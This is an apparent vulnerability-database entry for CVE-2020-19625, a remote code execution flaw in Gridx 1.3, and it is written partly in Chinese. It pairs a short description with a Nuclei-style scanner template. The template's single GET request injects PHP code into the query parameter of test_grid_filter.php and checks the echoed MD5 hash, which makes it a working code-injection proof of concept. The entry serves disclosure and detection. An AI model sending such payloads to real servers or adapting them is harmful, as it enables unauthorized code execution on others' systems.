CVE-2020-19625: Gridx 1.3 - Remote Code Execution

日期: 2025-08-01 | 影响软件: Gridx | POC: 已公开

漏洞描述

Gridx 1.3 is susceptible to remote code execution via tests/support/stores/test_grid_filter.php, which allows remote attackers to execute arbitrary code via crafted values submitted to the $query parameter.

PoC代码[已公开]

id: CVE-2020-19625

info:
  name: Gridx 1.3 - Remote Code Execution
  author: geeknik
  severity: critical
  description: |
    Gridx 1.3 is susceptible to remote code execution via tests/support/stores/test_grid_filter.php, which allows remote attackers to execute arbitrary code via crafted values submitted to the $query parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Gridx.
  reference:
    - http://mayoterry.com/file/cve/Remote_Code_Execution_Vulnerability_in_gridx_latest_version.pdf
    - https://github.com/oria/gridx/issues/433
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19625
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-19625
    epss-score: 0.85769
    epss-percentile: 0.99338
    cpe: cpe:2.3:a:gridx_project:gridx:1.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gridx_project
    product: gridx
  tags: cve2020,cve,gridx,rce,gridx_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "6ca86c2c17047c14437f55c42c801c10"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a82ca8a6d407aed0b453a613f7b579019e82388b2af77322e8dcd0e31221674f02207072c73222c4f40449d98246ef24400bf8f821a3026625b71abdd14423d85bfd:922c64590222798bb761d5b6d8e72950